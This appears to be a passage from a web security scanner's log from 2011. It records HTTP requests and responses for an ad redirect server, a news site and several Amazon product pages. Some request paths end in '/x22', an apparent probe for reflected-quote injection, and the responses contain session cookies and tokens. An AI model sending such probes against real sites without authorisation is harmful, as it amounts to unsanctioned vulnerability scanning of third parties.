<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/625092856/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:49:56 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/68136723/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:53:28 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/732627183/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:57:55 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/745152942/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:55:46 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/746022267/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:43:56 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/81555351/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279?x HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:52:29 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/843686845/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279?x HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:43:54 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/894545238/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:01:46 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /music-scene/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 HTTP/1.1 Host: starscene.dailystar.com.lb Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:33 GMT Server: Apache/2.2.14 (Ubuntu) X-Powered-By: PHP/5.3.2-1ubuntu4.7 X-Pingback: http://starscene.dailystar.com.lb/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: PHPSESSID=fs7cao9ricm3m32upt64vdhf53; path=/ Set-Cookie: crep=show; expires=Tue, 25-Jan-2011 16:02:33 GMT; path=/; domain=.starscene.dailystar.com.lb Last-Modified: Mon, 24 Jan 2011 16:02:33 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 50976
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET / HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:22 GMT Server: Server Set-Cookie: skin=noskin; path=/; domain=.amazon.com; expires=Tue, 25-Jan-2011 14:04:22 GMT x-amz-id-1: 0SBFNHA40PDAQCKXW60Q p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: qBgIWFuA2Wjoamon8NoAG9bdAoR3KqlibGyFaWE7CQvIKyPWqQkJunDX652P1Cp2 Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-0141411-2666057; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 141800
<html> <head>
<style type="text/css"><!--
BODY { font-family: verdana,arial,helvetica,sans-serif; font-size: x-small; background-color: #FF ...[SNIP]... <div class="bannerImage"><a href="/gp/redirect.html/ref=pd_lpo_ix_gw_am_us_ca_en/183-0141411-2666057?ie=UTF8&location=http%3A%2F%2Fwww.amazon.ca%2Fgp%2Fhomepage.html%3Ftag%3Dlpo%255Fixgwamuscaen-21&token=AD297DDA0F9D6C887976CD08894B02DB57139A39&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=center-intl-crossover-0&pf_rd_r=0SBFNHA40PDAQCKXW60Q&pf_rd_t=101&pf_rd_p=499834531&pf_rd_i=507846"><img src="http://g-ecx.images-amazon.com/images/G/01/gateway/visit_amazon_ca_tcg._V229026943_.gif" align="center" alt="Shop at Amazon.ca" border="0" /> ...[SNIP]... <li><a href="/gp/redirect.html/ref=gw_m_b_ir/183-0141411-2666057?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-irhome%26c%3D97664&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Investor Relations</a> ...[SNIP]... <li><a href="/gp/redirect.html/ref=gw_m_b_pr/183-0141411-2666057?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-mediaHome%26c%3D176060&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Press Releases</a> ...[SNIP]... <li><a href="/gp/redirect.html/183-0141411-2666057?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fsell-on-amazon.htm%3Fld%3DAZFSSOA&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Sell on Amazon</a> ...[SNIP]... <li><a href="/gp/redirect.html/183-0141411-2666057?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fproduct-ads-on-amazon.htm%3Fld%3DAZPADSFooter&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Advertise Your Products</a> ...[SNIP]...
GET /Kindle-Wireless-Reader-Wifi-Graphite/dp/B002Y27P3M/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:35 GMT Server: Server x-amz-id-1: 0FSERHCXPR6RX175GC9Y p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: kR10u+vmtmJMjH8b0QtzQOA7YFXccTCuWSFp6hNB3ud9u6GhHvfORZRd53Wds1YX Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=191-9849773-1831958; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 738612
GET /Kindle-Wireless-Reading-Device-Display/dp/B0015T963C/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:34 GMT Server: Server x-amz-id-1: 1X3EPAT3ZMNVCSGSMBAN p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XWFESHf4LDfW4Q4jtyPNlMZUcPixPfxkYZBCrWieQtkwWSKt/X54SoeJ/bATZoKW Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=187-6920967-0553225; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 508145
GET /b/?ie=UTF8&node=507846&tag=amazusnavi-20&ref=pd_sl_24x92mgoc0_b/x22 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:36 GMT Server: Server x-amz-id-1: 1RQGNQ6WM7Y4MS66G38B p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: +r+poGKg+6bD50on5oekljcjzy+nvcyzjWwpkxQMpxCaWBoeQj7sCKT1NNVYKm6p Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=189-7332499-5529366; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 135637
<html> <head>
<style type="text/css"><!--
BODY { font-family: verdana,arial,helvetica,sans-serif; font-size: x-small; background-color: #FF ...[SNIP]... <div class="bannerImage"><a href="/gp/redirect.html/ref=pd_lpo_ix_gw_am_us_ca_en/189-7332499-5529366?ie=UTF8&location=http%3A%2F%2Fwww.amazon.ca%2Fgp%2Fhomepage.html%3Ftag%3Dlpo%255Fixgwamuscaen-21&token=AD297DDA0F9D6C887976CD08894B02DB57139A39&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=center-intl-crossover-0&pf_rd_r=1RQGNQ6WM7Y4MS66G38B&pf_rd_t=101&pf_rd_p=499834531&pf_rd_i=507846"><img src="http://g-ecx.images-amazon.com/images/G/01/gateway/visit_amazon_ca_tcg._V229026943_.gif" align="center" alt="Shop at Amazon.ca" border="0" /> ...[SNIP]... <li><a href="/gp/redirect.html/ref=gw_m_b_ir/189-7332499-5529366?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-irhome%26c%3D97664&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Investor Relations</a> ...[SNIP]... <li><a href="/gp/redirect.html/ref=gw_m_b_pr/189-7332499-5529366?ie=UTF8&location=http%3A%2F%2Fphx.corporate-ir.net%2Fphoenix.zhtml%3Fp%3Dirol-mediaHome%26c%3D176060&token=F9CAD8A11D4336B5E0B3C3B089FA066D0A467C1C&_encoding=UTF8">Press Releases</a> ...[SNIP]... <li><a href="/gp/redirect.html/189-7332499-5529366?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fsell-on-amazon.htm%3Fld%3DAZFSSOA&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Sell on Amazon</a> ...[SNIP]... <li><a href="/gp/redirect.html/189-7332499-5529366?ie=UTF8&location=http%3A%2F%2Fwww.amazonservices.com%2Fcontent%2Fproduct-ads-on-amazon.htm%3Fld%3DAZPADSFooter&token=1E60AB4AC0ECCA00151B45353E21782E539DC601&_encoding=UTF8">Advertise Your Products</a> ...[SNIP]...
GET /dp/0313363153?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=0313363153&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:06:18 GMT Server: Server x-amz-id-1: 1XEKQW5VKEVTKXS2HSJA p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: XeWIrG239x/NdCZhKVLDJEcUlefLzu6eYfgdzbR7oX4dl76GDeDVLHHKaEiGy4dJ Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=188-3368164-3583051; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=cNF169Ic3p+FLZlmECYIuJwUEnmMidNZpqOMXJlzFfyGkoLR/f0WF8vs6ZQU5HX+qBwE7qqoL3t9fdNtjPj3gyYsZ9OPP64Bj28wuj43iGA+RQm2aZs0leyoMSaGWoAmLLFT4m57m2mg/M9gT8m8zgH4Tc7xnQpx7XV0ybHDfWS2rJ30owc8Rfy1J4pUKTmIEUgNrK9xS2pwjtjSqsQvCH98yL0TxvhtC5sb3N+5Hsbf09QrIa+pq7nenC2PQqxud5/rAY2tUqp08BC6AQqUm9FRfG4U//pmCE8P+Nf4Ay6b7r0qWful6/GAXYGc9NJ8UFNtl8lIxNbvvKSGUwWxMFhHe2yFoXqfgLXGtAif6/GMRqdmxDwAFvFgrcU5U0NDFanauf5u8xPOR/t4Rw9yAVQVnhKW/N98x8jGOU9360lRgvHsw0R7W92mPEKiYj0h57Jn/qFxIY4=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:06:18 2011 GMT Content-Length: 369008
GET /dp/0814410960?tag=parenthoodcom-20&camp=211493&creative=379981&linkCode=op1&creativeASIN=0814410960&adid=1E43GGA9XAJKCAEXAPNZ& HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:05:30 GMT Server: Server x-amz-id-1: 0V1X9WNQCM47PDADFQGC p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: SKWOpw071+vUvE/zvz84QekiVG202hXgMiv2MgQFljVkajAJe9OwpyfODLjeHTmR Vary: Accept-Encoding,User-Agent nnCoection: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=176-7210136-6598218; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: UserPref=y3NkdEGeLcNmXCUiBl72zia0IgOUlzJisM6ejtj6++wAzjFW+0MbDLrBrMTYId5ScAAIGSpPr8ov4wvfMrz16qkoExEE846LElBHdCDq1wJ5G3PyH/8+t8ULEiTMRJzZ+/UmohvS0s1wbtQLhB5tRJaj+v9Qvdikv5wA8Z+9BSaQuNwa25tYVL3brZaSaxoPnkAsz7sFby/Vm3IEdAyCOCgmDlA7LSKWp7BGexnTvAm3XJETeqxNVJ4XDLyzD9mn489zuGO7Hr1Q5jDtdTkD7MsDhmN6H6NA+BAMoVhXzdj8ywD6RaU+CKSyhgSibHDJfiAf99mXgDVIui4kc0MR8MKRTBSKmuzQBaMCl0Pf98laS7P8B1wibfy99GA8Gxn4ZYxd9IYn+0IOEpAUVtWvSy3VhH2tV4F6FYuFOflVaV1k+o8nZAdjmsVsH/6mMkOtJfcsZt8CR0o=; path=/; domain=.amazon.com; expires=Tue Feb 01 14:05:31 2011 GMT Content-Length: 398021
GET /dp/B000EFAO1G HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:25 GMT Server: Server x-amz-id-1: 1M2XJ9DYN6Y7DG42N4TW p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: ELcbf77740Mumzbh/Vico0QNtTydBr4E0na/ZodtnWmM3Vn8HD32Uh0849K57dxN Vary: Accept-Encoding,User-Agent Cneonction: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=191-2655627-9808834; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 365604
GET /dp/B001AIM6V2 HTTP/1.1 Host: www.amazon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:46 GMT Server: Server x-amz-id-1: 0QB6JFD5370MK0QCZ6QW p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " x-amz-id-2: aF0JiaUNwhyX+5d+IWlXePk8nKbtX+xMpBVLuDfuoQaOcPnQ3JMSv421E1jhCiDe Vary: Accept-Encoding,User-Agent Cneonction: close Content-Type: text/html; charset=ISO-8859-1 Set-cookie: session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Set-cookie: session-id=183-5857754-1541453; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT Content-Length: 241990
<html> <head>
<style type="text/css"><!--
BODY { font- ...[SNIP]... </a> <a href="/gp/redirect.html/ref=cm_sw_cl_fa_dp_.HTpnb0BJD30K?token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1&location=http%3A%2F%2Fwww.facebook.com%2Fshare.php%3Fu%3Dhttp%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2FB001AIM6V2%2Fref%3Dcm_sw_r_fa_dp_.HTpnb0BJD30K%26bodytext%3DCowboys%2520%2526%2520Indians%2520The%2520Premier%2520Magazine%2520of%2520the%2520West%252C%2520Annual%2520Holiday%2520Gift%2520Guide%2520December%25202007%252C%2520Vol.%252015%252C%2520No.%25208%252C%2520Sam%2520Elliott%2520by%2520Jason%2520Bell" target="_blank" onclick="window.open('/gp/redirect.html/ref=cm_sw_cl_fa_dp_.HTpnb0BJD30K?token=6BD0FB927CC51E76FF446584B1040F70EA7E88E1&location=http%3A%2F%2Fwww.facebook.com%2Fshare.php%3Fu%3Dhttp%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2FB001AIM6V2%2Fref%3Dcm_sw_r_fa_dp_.HTpnb0BJD30K%26bodytext%3DCowboys%2520%2526%2520Indians%2520The%2520Premier%2520Magazine%2520of%2520the%2520West%252C%2520Annual%2520Holiday%2520Gift%2520Guide%2520December%25202007%252C%2520Vol.%252015%252C%2520No.%25208%252C%2520Sam%2520Elliott%2520by%2520Jason%2520Bell', '_blank', 'location=yes,width=700,height=400');return false;"><span class="tafSocialButton" style="background-position: 0 -1px; height: 15px; width: 15px;"> ...[SNIP]... </a><a href="/gp/redirect.html/ref=cm_sw_cl_tw_dp_.HTpnb0BJD30K?token=7A1A4AE8F6CE0BD277D8295E58702D283F329C0F&location=http%3A%2F%2Ftwitter.com%2Fshare%3Foriginal_referer%3Dhttp%253A%252F%252Fwww.amazon.com%252Fgp%252Fproduct%252FB001AIM6V2%252Fref%253Dcm_sw_r_tw_dp_.HTpnb0BJD30K%26related%3Damazondeals%2Camazonmp3%26via%3Damazon%26text%3DCowboys%2520%2526%2520Indians%2520The%2520Premier%2520Magazine%2520of%2520the%2520West%252C%2520Annual%2520Holiday%2520Gift%2520Guide%2520...%26url%3Dhttp%3A%2F%2Fwww.amazon.com%2Fgp%2Fproduct%2FB001AIM6V2%2Fref%3Dcm_sw_r_tw_dp_.HTpnb0BJD30K%26count%3Dnone" target="_blank" 